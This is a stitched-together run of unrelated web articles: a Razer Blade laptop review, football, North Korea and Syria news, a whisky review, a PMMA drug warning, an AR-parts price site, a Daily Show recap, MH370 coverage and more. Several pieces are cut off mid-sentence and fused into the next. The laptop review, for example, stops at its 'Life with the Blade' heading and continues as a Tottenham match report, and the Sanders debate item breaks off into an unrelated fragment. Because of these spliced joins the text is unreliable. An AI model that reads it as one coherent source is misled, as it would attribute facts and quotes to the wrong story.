I've got a strange affection for ASUS' ROG lineup, but the models I like tend to weigh the same as me, and so I found myself looking at Razer's laptops. I guess it makes sense: The Blade Stealth, Blade and Blade Pro essentially seem like ultra-powerful, matte black versions of the MacBook Air, the 15-inch Macbook Pro and the old 17-inch MacBook Pro. Sure, they're a little gaudier -- especially with the illuminated green snake logo and Chroma keyboard -- but I was reassured that you can turn off all of the lights, should you wish.
After reading through countless reviews, I settled on a Razer. More specifically, a Razer Blade. It had almost everything I was looking for. The model I picked had an i7-6700HQ processor, a 6GB Nvidia GTX 1060, 16GB of RAM and a 1TB SSD. The screen -- a 14-inch 3,200 x 1,800 panel -- was a little smaller than I wanted, and it doesn't have an SD reader, but the next option up in Razer's range is the Blade Pro, which, despite being impressively thin, wasn't quite portable enough, thanks to its 17-inch display.
It's now been six months since I picked up the Blade, and I'm happy. But it took me nearly all of that time to get there.
Life with Windows
Switching over from macOS to Windows was simple enough. Almost all the apps that I use daily -- Chrome, Creative Suite, Slack and Steam -- offer the same or a better experience in Windows vs. macOS. But there are some I still miss on a daily basis. For the past few years, I've used Tweetbot for my personal Twitter and Notational Velocity to both write and take notes. If there's a Windows app equal to Tweetbot, I've yet to find it, and I've tried using Simplenote (the note-taking service that Notational syncs with) for writing, but it lacks the streamlined interface and keyboard shortcuts of the app I'm used to.
Perhaps the hardest thing to come to grips with on the software side is Windows itself. It's almost back to Windows 7 in terms of simplicity, but I still struggled for weeks with basic navigation. On macOS, I launch everything through Finder, and using the Start Menu for the same thing proved tricky. Running apps by pressing the Start key and typing works fine, but the rest of Finder's functionality is sorely lacking in Microsoft's implementation.
The main issues are that file searching through the Start Menu is very hit-and-miss, and that Windows 10 ignores your browser and search preferences, opening them in Edge and Bing, respectively. The former, as best I can tell, is because Windows' file system isn't indexed as well as macOS's, while the latter seems like a desperate and user-hostile way of fighting Google's dominance in those markets.
After a while struggling -- and even installing third-party apps to divert Start Menu searches back to Google and Chrome -- a friend recommended I try Wox, which is essentially a Finder/Alfred clone for Windows. It loads apps just as well as the Start Menu, opens web links and searches according to your preferences and also taps into the Everything disk-indexing app for near-instant file searches.
My remaining issue is one of troubleshooting. I can customize macOS with my eyes closed through System Preferences or Terminal, and diagnosing and fixing problems also comes naturally. In Windows, tweaking simple things often becomes a game of cat-and-mouse as I search through the inexplicably distinct Control Panel and Settings menus. This isn't really a knock against Windows; it's more that I'm still getting attuned to the way Microsoft has organized things.
Life with the BladeTottenham ran out 2-1 winners at Loftus Road, and visiting fans were heard chanting "Rio Ferdinand, it's time to retire," at the former England captain.
A number of QPR supporters appeared to join in with the song, yet Ramsey declared himself satisfied with Ferdinand's display.
"I think Rio applied himself well. I was very pleased with the way he played," said Ramsey.
"I think when you're in the position we are and goals go in there's always going to be people who get the blame or people who look more at others.
"For Rio to be at the age he is [36] and playing at this level and applying himself in training and in games, I think we need to keep encouraging him to do what he's doing."SEOUL (Reuters) - Two U.S. B-1 bombers flew over South Korea on Tuesday in a show of force and solidarity with its ally after North Korea’s nuclear test last week, while a U.S. envoy called for a swift and strong response to Pyongyang from the United Nations.
Speaking in the South Korean capital on Tuesday, Sung Kim, the U.S. envoy on North Korea, added that the United States remained open to meaningful dialogue with Pyongyang on ending its pursuit of nuclear weapons.
“Our intention is to secure the strongest possible (U.N. Security Council) resolution that includes new sanctions as quickly as possible,” Kim told a news briefing after meeting his South Korean counterpart.
He said the United States would work with China, North Korea’s major diplomatic ally, to close loopholes in existing resolutions, which were tightened with Beijing’s backing in March.
“China has been very clear that they understand the need for a new U.N. security council resolution in response to the latest North Korean nuclear test,” Kim said.
However, China and Russia, which strongly oppose a recent decision by the United States and South Korea to deploy an advanced anti-missile system in the South to counter the North’s missile threat, have shown reluctance to back further sanctions.
“Both sides think that North Korea’s nuclear test is not beneficial to peace and stability on the Korean peninsula,” China’s official People’s Daily newspaper said on Tuesday following a high-level China-Russia security meeting in Beijing.
“At present, we must work hard to prevent the situation on the peninsula continuing to escalate, and put the issue of the nuclearization of the peninsula back on the track of dialogue and consultation,” it said.
FORCE AND SOLIDARITY
The pair of U.S. supersonic B-1B Lancer strategic bombers took off from their base in Guam and flew with two Japan Air Self Defense Force aircraft before a “hand-off” to South Korean fighters, according to the U.S. military.
The B-1Bs were then escorted by South Korean and U.S. fighter jets in a low-altitude flight over Osan Air Base, which is 77 km (48 miles) from the Demilitarised Zone border with the North and about 40 km (25 miles) from the South’s capital Seoul.
“These flights demonstrate the solidarity between South Korea, the United States, and Japan to defend against North Korea’s provocative and destabilizing actions,” said Admiral Harry Harris, commander of the U.S. Pacific Command.
North Korea’s official KCNA news agency said public anger was “exploding like a volcano” over Washington’s dispatch of bombers to South Korea.
“Any sanction, provocation and pressure cannot ruin our status as a nuclear state and evil political and military provocations will only result in a flood of reckless nuclear attacks that will bring a final destruction,” KCNA said.
A U.S. Air Force B-1B bomber flies over Osan Air Base in Pyeongtaek, South Korea, September 13, 2016. REUTERS/Kim Hong-Ji
China urged restraint among all parties. “If there is a vicious cycle of tensions continuing to rise and mutual provocations, this is not in anyone’s interests,” Chinese foreign ministry spokeswoman Hua Chunying told a daily briefing.
North Korea’s weapons enhancements, including the testing of various types of missiles this year at an unprecedented rate, have alarmed neighbors South Korea and Japan.
South Korean President Park Geun-hye maintained her tough stance against the North.
The two Koreas remain technically at war after their 1950-53 conflict ended in a truce, not a peace treaty.
“I want our government and military to stay fully ready to retaliate, determined to end North Korea’s regime once North Korea fires even one missile nuclear-armed missile toward our territory,” Park told a cabinet meeting.
A group of lawmakers in South Korea said on Monday the country should have a nuclear force of its own, either by acquiring weapons or asking the United States to redeploy tactical nuclear weapons withdrawn under a 1991 pact for denuclearization of the Korean peninsula.
Kim, the U.S. envoy, said there was no need to reintroduce nuclear weapons in South Korea.
North Korea has refused the U.S. demand that it accept denuclearization as a condition for holding dialogue.
A U.S. Air Force U-2 jet flies over Osan Air Base in Pyeongtaek, South Korea, September 13, 2016. REUTERS/Kim Hong-Ji
“It’s a question of North Korean intentions and commitment. If North Korea is ready to talk to us sincerely, I think we can work with that within the six party process,” Kim said.
The six party talks aimed at ending the North’s nuclear program involve the United States, Russia, Japan, South Korea, China, and North Korea but have been stalled since 2008.
South Korea said on Monday the North is ready to conduct an additional nuclear test at any time after setting off its most powerful blast to date on Friday.With friends like these.
At Sunday night's Democratic presidential debate, Bernie Sanders offered some pretty nuanced answers defending his gun record. At one point, he made the case against holding gun manufacturers liable for crimes committed with their product (emphasis ours).
If you go to a gun store and you legally purchase a gun, and then, three days later, if you go out and start killing people, is the point of this lawsuit to |
he was considering sanctioning North Korea's trade partners.
When asked whether the U.S. would attack the country, he replied, "We'll see."Over the past week or so, Ian and I have been discussing a'reorganizing' of the stories that sprouted from the first era of Anathema Online, and a re-purposing of many of the characters. Since it was an open RP world, it's safe to say that not all of the story lines meshed properly. So, Ian took it upon himself to make things work. More or less.During our discussions, we found that Colin's character, the angel Aph (inspired heavily by the Book of Enoch), became something of a symbol of dread, carefully and subtly influencing events to bring about the fall of the most decadent kingdoms of the land. We played with the idea of likening him to Shiva at first, but by the end of it we decided that he would represent the entire cycle of life.This is Aph, casting off his cloak to reveal his purest form. No illusion of the beautiful wings of a lesser heavenly being, only a raw, terrifying figure bent on bringing you to your knees in prostration before the creator who has long since forsaken him.Officials at New York’s JFK Airport say 11 people walked through a checkpoint without getting screened.
Port Authority Police told Fox News it happened Monday morning, at Terminal 5. 6 a.m. actually, but claimed to only learn about it around 8 a.m. They attributed it to the Transportation Security Administration’s “belated notification.” They said each person probably boarded flights.
The TSA said some security were followed, though, and they were “confident” this is a low risk situation.
“Early reports indicate 3 passengers did not receive required secondary screening after alarming the walk through metal detector,” they said in a statement obtained by Fox. “All personal carry-on bags received required screening. A K9 team was present at the checkpoint at the time of the incident.”
The agency said they’ll review what went wrong, and try to make sure this doesn’t happen again.
A security camera recorded the metal detector going off three times, sources told the NY Daily News. A Port Authority Police spokesperson told that outlet the three people who set off the alarm all flew to California. The other eight had yet to be identified.
[image via Kotsovolos Panagiotis and Shutterstock]We already teased you with Pierobon’s newest creation, a trellis frame kit for the Ducati 1199 Panigale, and now we have the full details of this Italian firm’s work…along with some tasty photos.
Pierobon says it wanted to build a chassis kit was to build a bolt-on frame that would replace Ducati’s “frameless” design, with a steel trellis creation.
The project’s main goal was to add no further weight to the svelte Panigale, but also to bring the chassis stiffness into spec with the parameters Pierobon has shown on its previous machines (Pierobon X60R & Pierobon F042).
Using 28mm diameter steel tubing for the trellis work, Pierobon says it design meets the project’s weight criteria, and computer analysis suggests that torsional stiffness is right on point as well with the Bologna firm’s goals. Now Pieorbon just waits to go riding on the track.
Building the trellis to include the swingarm pivot point, Pierobon’s design allows for engine swaps to be an easier affair on the Panigale, though the team had to employ some clever designing to make clearance for the side-mounted rear shock and to keep the weight of the overall frame down.
Pierobon also had to construct its own airbox for the trellis frame design, and the unit retains the same volume as the WSBK-spec Ducati 1199 Panigale RS13.
Another WSBK design is the rear subframe, which is of an aluminum-trellis design, and now connects to the main steel frame instead of the engine cylinder head.
For those not in the know, Pierobon is the designer and maker of Alstare Ducati’s recent trellis rear subframe, and has shown that the design, along with a reformed fuel tank, helps the weight balance of the Panigale race bike.
Other details include Pierobon’s own rearset configuration, made out of aluminum, which is a must-have consider how slippery the stock units are while riding aggressively.
Source: PierobonWashington Capitals forward and Russia captain Alexander Ovechkin will remain in Minsk, Belarus for the duration of the World Hockey Championships - and will do so even if he's unable to return in the tournament. The NHL's leading scorer was briefly hospitalized after sustaining an ugly knee injury when he was hit by Germany captain Marcus Kink on Sunday.
On Monday, Ovechkin's knee was still swollen, although an MRI on his knee was "negative for a tear," according to a report from sport-express.ru reporter Slava Malamud. That report was later confirmed by Vladislav Tretiak, the president of the Russian Hockey Federation, who told Malamud the "diagnosis didn't reveal a serious ligament damage, the worst is avoided."
The Russian national team is apparently considering a "special knee brace" for the high-scoring winger, although it appears more likely that he'll simply miss the balance of the tournament.
The Russian side have proved a juggernaut at the 2014 World Hockey Championship, winning all six of their games during the round-robin stage and outscoring opponents 29-6. While the loss of Ovechkin will surely hurt, Penguins superstar Evgeni Malkin practiced with the team on Monday and seems likely to make his tournament debut Tuesday against Belarus.Police: Man masturbated outside UW sorority window Authorities are investigating him for voyeurism
Seattle police arrested a 40-year-old man Tuesday night after a University of Washington student claimed he was masturbating at the window of her sorority house. Seattle police arrested a 40-year-old man Tuesday night after a University of Washington student claimed he was masturbating at the window of her sorority house. Photo: GENNA MARTIN/SEATTLEPI.COM Photo: GENNA MARTIN/SEATTLEPI.COM Image 1 of / 1 Caption Close Police: Man masturbated outside UW sorority window 1 / 1 Back to Gallery
Seattle police arrested a 40-year-old man Tuesday night after a University of Washington student claimed he was masturbating at the window of her sorority house.
The woman was studying in the formal room of Alpha Phi in the 4700 block of 19th Avenue Northeast about 9:43 p.m. when she spotted a man standing outside the window, staring at her and "making sexual motions with his tongue," according to the police report.
The man then pulled down his pants and masturbated while staring at her, she claimed. The woman screamed and reported him to her housemates. The incident was reported to 911.
RELATED: Charge: Man exposed himself at White Center library
Officers found a man matching the suspect description riding a bike "in an evasive manner" near University Playground and the intersection of Northeast 50th Avenue and Ninth Avenue Northeast, reports indicate. Cops approached him in a nearby alley.
Police brought the woman to take a look at the man and she said it was the same man who was outside the sorority window.
Cops arrested him for investigation of voyeurism and booked him into King County Jail.
He was ordered held on $10,000 bail Wednesday and to stay away from the 4700 block of 19th Avenue Northeast.By Richard Thomas
Rating: B+
In February, The Whiskey Reviewer looked at the German entrepreneurs GSpirits, who produce what I think might be the ultimate top shelf liquor for high-end “gentlemen’s clubs:” booze splashed over the chests of glamor models. As I observed looking in on drinks forums and Facebook, as many found the idea somewhat icky as found it tantalizing.
Among GSpirits’ offerings is its scotch, G Whisky No. 1, which was poured over two-time international Playmate Alexa Varga. Leaving aside Ms. Varga as an aspect of this whiskey, the question becomes “just how good a tipple is it?” A check through Google, Bing and Yahoo! showed me that it is very possible no one has answered that question as of yet, so now it’s time to find out.
The Whiskey
The folks at G Spirits aren’t telling us where their whiskey comes from, but we do know it is a cask strength single malt 12 Year Old, with an abv of 57.9%. Instead of the usual canister, the bottle comes in a sleek, euro-modern styled black box, with some NSFW pictures of the models inside. That NSFW theme continues onto the bottle, which has a topless picture of Alexa Varga inked onto it. As the general idea of G Whisky No. 1 is a demonstrated turn-off for some, I’m betting that if you have a bottle in your possession, the naughty aspects won’t trouble you.
The one thing I will say about the packaging is that the bottle is extremely classy. The rectangular, clear glass container is a sharp example of modernist design, and topped with a stainless steel stopper. The bottle’s design is at least as eye-catching as the image of Alexa Varga that is inked onto it.
In the glass, G Whisky No. 1 has the color of pale yellow straw, so it’s very scotchy there. The nose was reminicent of apple wine, and had a crisp character with woody undertones. The flavor is sweet with apples and pears, seasoned with vanilla and cookie spice. It’s a little smoky, a little woody, and a little peppery. The pepper aside, it also has a distinctly alcoholic bite if you take it undiluted.
Because of that, I reached for a few drops of water, and I have to say this is the rare example of a whiskey that I think is generally improved by a little dilution. It becomes a little woodier, and therefore the flavors contrast a bit better and the body comes out more, but also becomes smoother at the same time. Without water, I’d give it a “B,” but with a few drops it went up to “B+.”
The finish rolled off of cinnamon and ginger flavors, leaving a lingering, long-lasting warm and spicy afterglow.
This is stuff worth drinking, and I’m now doubly curious as to where GSpirits got it from. Some people won’t be able to get past the NSFW nature of this product, while others will be drawn to it for the same reason. Either way, it makes for quite a nice dram.
The Price
In a word, expensive. A half-liter bottle will set you back €139,00 (about $180).October 16, 2015 - François Maillet
Mapping Press Releases in the 2015 Canadian Federal Election
On October 19th, Canadians will vote in the 42nd federal election. By Canadian standards, having lasted 78 days, this has been a very long election campaign, giving the parties many opportunities and reasons to put out press releases. The MLDB team at Datacratic decided to treat these press releases as a data set to be explored using our Machine Learning Database, and here is what we came up with.
The map has 620 dots, each representing one English-language press release from the four non-regional Canadian federal political parties: the governing Conservatives in blue, the opposition New Democrats in orange, the challenger Liberals in red and the underdog Greens in green. The closer two dots are, the more similar the text of the press releases they represent.
The white text labels were placed by hand to give a sense of what the various groupings mean, but at the bottom of this page there is an interactive version where you can mouse over each dot to see the title of the corresponding press release, so you can explore this map yourself. We also plotted the position of a few individual words in pink, which you can mouse over in the interactive version below. The regional Bloc Québécois party does not appear as it does not put out English-language press releases.
What conclusions can we draw from this map?
Some observations:
The Conservatives focused their press releases on specific topics like the economy, the military, terrorism and crime
The Liberals and NDP put out a large number of press releases criticizing each other and the current Prime Minister Stephen Harper
The Liberals put out press releases on many topics, but were the only ones to put out quite so many focused on their leader Justin Trudeau (the red group on the left)
The Greens focused on the environment, the oil sands and the Trans-Pacific Parternship treaty
Some hot-button issues appear as a cluster like the Mike Duffy scandal and the refugee crisis, but there doesn’t appear to be a cluster around the very touchy niqab issue (only two releases contained that word, one Liberal and one NDP)
Small clusters appear here and there when a number of very similar press releases came out, such as the orange group in the upper left with a theme of “Justin Trudeau has #noplan” or the orange cluster in the middle with a theme of “NDP Fact Check”
How was this map made?
Full technical details can be found in this Jupyter Notebook and the dataset is available in this companion repository but at a high level, we loaded a CSV file with the 620 press releases into MLDB, and then used the word2vec vector space embedding tool to compute a location for each word in each press release in a high-dimensional space. We used these to compute locations for each press release within that space by finding the centroids of the word locations. We then used the t-SNE algorithm to reduce the dimensionality of the space to 2 so as to make a scatterplot.
What are other applications of this technology?
A similar workflow can be used to analyse any group of documents to find patterns, be they tweets or books or textual descriptions of products for sale. This approach can be generalized to non-textual data as well, such as social network analysis, customer purchasing patterns, or even image similarity. If you would like to apply this kind of mapping approach to your data, please contact us and we would be excited to show you how MLDB can help you!
Interactive version
You can hover your cursor over any dot to see the title of the corresponding press release. See if you can find any interesting patterns!Hard-drinking, philandering but charismatic advertising chief Roger Sterling from the hit American TV drama Mad Men is to have his fictional autobiography – which features in series four of the fictional series – converted into reality next month.
US publishing house Grove/Atlantic has spotted an opportunity and will bring out Sterling's Gold: Wit and Wisdom of an Ad Man by Roger Sterling Jr in time for the Christmas stockings of the many fans of the series.
Mad Men, which is set in the New York advertising world of the 1960s, has won widespread acclaim including 13 Emmys, and made a celebrity out of its curvaceous star Christina Hendricks. Actor John Slattery plays the character of Sterling, the womanising founding partner at the firm of Sterling Cooper Draper Pryce, who has used his charm on many conquests, including secretary Joan Harris whom Hendricks plays.
Sterling has "acquired quite a reputation among his colleagues for his quips, barbs, and witticisms", says Grove/Atlantic, promising the character's "pithy comments and observations amount to a unique window on the advertising world as well as a commentary on life in New York City in the middle of the 20th century."
Grove publisher Morgan Entrekin is a friend of Keith Addis, who manages Mad Men creator Matt Weiner. Even before series four was broadcast, Addis told Entrekin that the then-fictional book would be featuring prominently in the upcoming drama. Entrekin pounced, getting Weiner himself to write the preface for the book, in the voice of his character.
Typical one-liners you'll find in Sterling's Gold include: "Remember, when God closes a door, he opens a dress" and, "Being with a client is like being in a marriage. Sometimes you get into it for the wrong reasons and eventually they hit you in the face."POLICE in the North have issued a warning concerning 'Green Rolex' ecstasy pills following several deaths in recent days.
POLICE in the North have issued a warning concerning 'Green Rolex' ecstasy pills following several deaths in recent days.
The warning came after a forensic analysis revealed they contain the highly toxic chemicals PMA and PMMA as well as ecstasy.
Police are still awaiting the results of forensic tests in connection with eight unexplained deaths in the region that are currently under investigation.
Detective Inspector Andy Dunlop said the combination of MDMA (ecstasy) and PMA can be particularly hazardous to health and has been linked with numerous deaths worldwide.
"PMMA (paramethoxymethamphetamine) is particularly toxic. Both dealers and users may be unaware that what they believe to be ecstasy, actually contains PMMA," he said.
"PMMA pills are slower to take effect. This may cause the user to take more – which can lead to seizures, convulsions, heart attack and ultimately death.
"The predominant symptom of fatalities around the globe has been hyperthermia (over-heating of the body)," added Det Insp Dunlop.
Irish IndependentDocumentary in which Nigel Slater looks at the history of the humble biscuit and asks what makes Britain a nation of ardent biscuit eaters like no other in the world.
Nigel Slater takes us on a nostalgic, funny and heart-warming journey back in time - through the biscuit tins of mum and dad, the doilies and saucers of aunties and grannies, the lunch boxes of friends and siblings. Nigel charts the origins of the humble biscuit, from its vital contribution to Britain's nautical dominance of the globe, through to the biscuit tin becoming that most ubiquitous of household items. He explores the history of our most famous brands, uncovering the Georgian and Quaker origins of the biscuits we love and eat today, meeting eccentric biscuit anoraks who have dedicated their lives to a love of these simple baked treats and meeting scientists who squash, dunk and ignite biscuits for research purposes.
Nigel recalls the biscuits he found in his lunch box, the ones he cherished and the ones that would shape his formative years.
He asks why it is, that of all the treats we indulge in on a regular basis, the biscuit has become such a dependable culinary companion. What makes Britain a nation of ardent biscuit eaters like no other in the world, with a £2.3 billion industry to match?BELEK, Turkey, Nov 15 (Reuters) - U.S. President Barack Obama and Russian President Vladimir Putin agreed on the need for a Syria-led political transition, including U.N.-mediated talks, when they spoke at the G20 summmit on Sunday, a White House official said.
In a 35 minute discussion on the sidelines of the Group of 20 (G20) meeting in Turkey, the two discussed efforts to find a solution to the conflict, which had been made more pressing by the attacks in Paris that killed 129 people, the official said.
“President Obama and President Putin agreed on the need for a Syrian-led and Syrian-owned political transition, which would be proceeded by UN-mediated negotiations between the Syrian opposition and regime as well a ceasefire,” the official said.
Obama welcomed efforts by all countries in confronting Islamic State, noting the importance of Russia’s military efforts in Syria focusing on the group, the official said. (Reporting by Matt Spetalnick, Writing by Dasha Afanasieva; Editing by David Dolan)MILAN (Reuters) - Italy, France and Germany have asked the European Commission to reinforce existing regulations that allow EU states to block foreign acquisitions of European companies, two Italian dailies reported on Tuesday.
The request cited the 'golden powers' to bar or set conditions for would-be buyers "that operate with rules that do not follow the market and that do not respect rules of reciprocity for acquisitions," Il Sole 24 Ore and La Stampa reported, citing a leaked letter.
European Union leaders agreed in June to consider screening investments by state-owned Chinese firms, and France, Germany and Italy have backed the idea of allowing the EU to block Chinese investments. [nL8N1L0170]
ADVERTISEMENT
The letter was sent to the Commission on July 28 and follows a similar one in February. Although it mentions no countries or firms by name, it appears to have been motivated by recent takeovers by Beijing in Europe. [nL8N1FZ4GK]
The powers would be reinforced for all target companies viewed as strategic and in cases of takeovers financed by state funds or agencies, says the ten-page document cited by the newspapers.
"It is not a form of protectionism but rather giving a chance of monitoring operations that are incompatible with European rules," Italian Industry Minister Carlo Calenda was quoted as saying in La Stampa.
The three countries recommended that under the new regulations, which should not to replace national rules, member states should notify the Commission every six months of all corporate investments from outside the bloc, except those in the defense sector.Home
Welcome to ARPartsFinder.com!
Looking for AR10/AR15/AR308 parts? We can help. We help you find out what is in stock right now and compare prices across multiple retailers. ARPartsFinder.com does this by scanning 18,214 AR15 and AR variant parts for in-stock status non-stop. A few of the sites we scan include Eagle Armory, Atomic Tactical, Texas Custom Guns, ESI - biyar15.com, and Aero Precision. That means no more checking all over various manufacturer and retailer sites to find that part you need... just use us!
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RECENT NEWS (also check facebook page for more regular general news/updates):
May 10, 2016 - Updated Foresaken Arms and Bauer Precision scans. Will be looking to add new companies soon.
May 9, 2016 - Updated Brownells and BravoCompany scans.
May 8, 2016 - Removed more products that will likely never come back, In-Stock-o-Meter should be more accurate now.
May 4, 2016 - Cleaned up all categories. Added AR15 GOA to scans. Fixed other scans (yhm/jse/15accessories).
May 3, 2016 - Fixed 6 retailer scans that were not functioning on all categories or at all...
May 2, 2016 - Cleaned up db to remove products that would likely never come back in-stock. Removed several dead companies and their products.
May 1, 2016 - After a move and family priorities, I am back on the site and hoping to clean it up and start making it better!
Looking for AR10/AR15/AR308 parts? We can help. We help you find out what is in stock right now and compare prices across multiple retailers. ARPartsFinder.com does this by scanning 18,214 AR15 and AR variant parts for in-stock status non-stop. A few of the sites we scan include Eagle Armory, Atomic Tactical, Texas Custom Guns, ESI - biyar15.com, and Aero Precision. That means no more checking all over various manufacturer and retailer sites to find that part you need... just use us!I hope you find the site useful and if you do, please share with friends on forums or using the Facebook Like, Tweet, and +Share links up top right or hanging on the right side.You can also come make suggestions on our facebook page May 10, 2016 - Updated Foresaken Arms and Bauer Precision scans. Will be looking to add new companies soon.May 9, 2016 - Updated Brownells and BravoCompany scans.May 8, 2016 - Removed more products that will likely never come back, In-Stock-o-Meter should be more accurate now.May 4, 2016 - Cleaned up all categories. Added AR15 GOA to scans. Fixed other scans (yhm/jse/15accessories).May 3, 2016 - Fixed 6 retailer scans that were not functioning on all categories or at all...May 2, 2016 - Cleaned up db to remove products that would likely never come back in-stock. Removed several dead companies and their products.May 1, 2016 - After a move and family priorities, I am back on the site and hoping to clean it up and start making it better!0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard
On last night’s The Daily Show, complete with a full Beckesque set, and a dead on impression, Jon Stewart mocked Glenn Beck’s recent attacks on progressivism as a cancer. Stewart said, “I looked approvingly at child labor laws, inspections of meat and poultry and other food stuffs, women voting. I thought it was progress…America I have cancer, we in this country have cancer, value and document eating cancer.”
Here is the intro from The Daily Show:
Stewart said, “You know for many years I thought that government when competently run could help provide basic safe guards not just against enemies both foreign and domestic, but against other forces that might seek to exploit the less powerful. I looked approvingly at child labor laws, inspections of meat and poultry and other food stuffs, women voting. I ah, thought it was progress. I didn’t realize how sick it was making me, making all of us. America I have cancer, we, in this country have cancer, value and document eating cancer.”
Here is the segment:
Stewart continued, “America, I thought as perhaps Teddy Roosevelt did, that some basic protections backed by the legal authority of the United States government if necessary, could enhance all of our pursuit of liberty and happiness and life, but what I didn’t know was to even entertain that thought makes me a progressive and that’s not good.”
After playing a clip of Beck saying that progressives want to control your life, Stewart said, “I didn’t know that that’s what I wanted, but I guess I want to control every aspect of your life. As a progressive I might say I think it is a good idea for an agency to monitor pollution, but I guess what I really mean is, it’s in the state’s interest that we be allowed to put a chip in your head that tells you when you can masturbate, total control.”
Stewart then went after Beck’s attacks on social justice, “It’s not that believing, I’m not saying this. I’m not saying that believing that there should be a minimum standard for how much lead can be in our paint, might lead to the government having the right to sterilize and kill Jews. I’m not saying that that might be the case. I’m saying that’s the case and that even though you didn’t realize it. It’s been your goal the whole time.” Stewart then pulled out the chalkboard to show ovals of progressive policy.
The Daily Show host took on Beck’s circular blackboard logic. From the blackboard Stewart said, “This is Glenn’s blackboard so we have to play by Glenn’s rules, which are if you subscribe to an idea, you also subscribe to that idea’s ideology, and to every possible negative consequence that that ideology remotely implies if you carry it to absurd extremes. For instance, progressives if you believe in a minimum safety net for the nation’s neediest, you believe in total and absolute government control, so if you believe that faith provides a strong moral tent post for a nation’s foundation that can only lead to totalitarian theocracy.”
Once again, Jon Stewart revealed himself to be most observant critic of the absurdities being pushed by Beck and the right wing in order to achieve their political goals. Beck discovered that the golden path to success was not only exploit the fears of others, but to create a realm where every issue topic and concept is intellectually carried out to its most negative and absurd conclusion. Stewart nailed everything perfectly, the tone of fear, the exaggeration, the irrationality. No one takes on the media’s overhyping and logical blind spots better than the people at The Daily Show. When a comedy program is the nation’s media watchdog, then there is something wrong with the media.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:HOUSTON - The Houston SPCA Wildlife Center of Texas has taken in a ringtail, the first ever of the species to come under their care in the organization's decade-long history.
The ringtail (sometimes called ring-tail cat), is just seven weeks old and was orphaned in Bandera before hitching a ride to Houston on the underside of an RV.
"It's very unusual for us to have a little guy like this," said Sharon Schmalz, director of the Wildlife Center of Texas. "Fortunately, the people got him to us right away."
WATCH: Wildlife Center of Texas speaks about new species in their care
The animals, not often seen in the Houston area, are nocturnal and lead generally solitary lives. The noise they make is quite unique, very similar to the sound of a typewriter.
WATCH: What type of noise does a ringtail make?
The center is hoping to fully rehabilitate the ringtail and release it back into its natural habitat.
A post shared by The Wildlife Center Of Texas (@wildlifecenteroftexas) on
Jul 22, 2017 at 11:37am PDTRonald K. Noble, the secretary general of the International Criminal Police Organization, or Interpol, said, “It is clearly of great concern that any passenger was able to board an international flight using a stolen passport listed in Interpol’s databases.”
“This is a situation we had hoped never to see,” he said, adding that too few countries systematically screen travelers with Interpol’s Stolen and Lost Travel Documents database set up after the terrorist attacks on Sept. 11, 2001. “For years, Interpol has asked, ‘Why should countries wait for a tragedy to put prudent security measures in place at borders and boarding gates?’ ”
A senior American law enforcement official, who has received classified briefings on the global investigation, said that the authorities had not ruled out terrorism in the plane’s disappearance, but that there had been no public claims of responsibility or electronic intercepts of extremists discussing details of any bombing or attack.
“We’re not seeing or hearing anyone claiming anything about this,” the official said.
By early Monday, the search effort had yet to confirm where the plane might have gone down, even as military aircraft and a flotilla of ships from a half-dozen nations, including China, Malaysia, Vietnam and the United States, searched the waters south of Vietnam.
On Sunday, Vietnamese media reported that rescuers had found a yellow object they thought might be part of the aircraft. But the news media later said it turned out to be a coral reef.
Azharuddin Abdul Rahman, the Malaysian civil aviation chief, said samples from an oil slick discovered in the waters had been collected and were being tested to determine if they had come from the plane.
The flight left the international airport in Sepang, outside Kuala Lumpur, at 12:41 a.m. on Saturday and vanished less than an hour later as it appeared to be cruising at 35,000 feet in calm weather. More details emerged Sunday about the two passengers listed on the manifest using names from an Austrian and an Italian passport reported stolen in Thailand, one in 2012 and the other in 2013. According to electronic booking records, each man bought a one-way ticket on Thursday from a travel agency in a shopping mall in the Thai beach resort of Pattaya. A woman who answered the phone at the agency said she was too busy to talk.
Image A member of the military looked out of a helicopter during a search-and-rescue mission off the Tho Chu Islands of Vietnam on Monday. Credit Athit Perawongmetha/Reuters
Both men were scheduled to pass through Beijing and continue to Amsterdam before traveling to different cities, Frankfurt and Copenhagen, according to the records.
The senior American law enforcement official confirmed Sunday that Thai officials were investigating a “passport ring” operating on the resort island of Phuket, where both passports were stolen.
Although the official said identifying the two passengers is a top priority for investigators, he noted that false documents were also routinely used in the region by drug smugglers.
Security experts in Asia differed on the significance of the two stolen passports.
Xu Ke, a lecturer at the Zhejiang Police College in eastern China who studies aviation safety and hijackings, said the two men might have been illegal migrants. “There are many cases of falsified and counterfeit passports and visas for illegal migration that our public security comes across, even several cases every day,” he said.
But Steve Vickers, the chief executive of a Hong Kong-based security consulting company that specializes in risk mitigation and corporate intelligence in Asia, said the presence of at least two travelers with stolen passports aboard a single jet was rare.
“It is fairly unusual to have more than one person flying on a flight with a stolen passport,” said Mr. Vickers, who publicly warned a month ago that stolen airport passes and other identity documents in Asia merited a crackdown. “The future of this investigation lies in who really checked in.”
Mr. Azharuddin said investigators were reviewing video footage of the passengers in question. Malaysian officials also said five ticketed passengers failed to board the flight but said that their luggage was removed from the plane before it took off.By Agence France-Presse
The US government offered up new areas of the central Gulf of Mexico for drilling for the first time since the 2010 BP oil spill and received $1.7 billion in winning bids, officials said Wednesday.
Environmental groups tried to block the long-awaited sale by filing a lawsuit Tuesday arguing that it will endanger the already damaged ecosystem.
“The government is gambling with the Gulf by encouraging even more offshore drilling in the same exceedingly deep waters that have already proven to be treacherous, rather than investing in safer clean energy that creates jobs without risking lives and livelihoods,” said Jacqueline Savitz, vice president for North America at Oceana, one of five groups filing suit.
“This move sets us up for another disastrous oil spill, threatening more human lives, livelihoods, industries and marine life, including endangered species, in the greedy rush to expand offshore drilling.”
The Obama administration said it conducted a “rigorous analysis” of the impact of the 2010 spill prior to opening up new areas to leasing as part of a plan to expand “safe and responsible” domestic production.
“This sale, part of the president’s all-of-the-above energy strategy, is good news for American jobs, good news for the Gulf economy, and will bring additional domestic resources to market,” Secretary of the Interior Ken Salazar said in a statement.
Officials estimate that energy companies will be able to recover between 800 million and 1.6 billion barrels of oil and 3.3 to 6.6 trillion cubic feet of natural gas if the tracts are fully developed.
The Interior Department had offered more than 39 million acres of new tracts ranging from three to more than 230 miles (give to 370 kilometers off the coasts of Louisiana, Alabama and Mississippi in depths ranging from 10 to more than 11,200 feet (3 to 3,400 meters).
It received winning bids on 2.4 million acres.
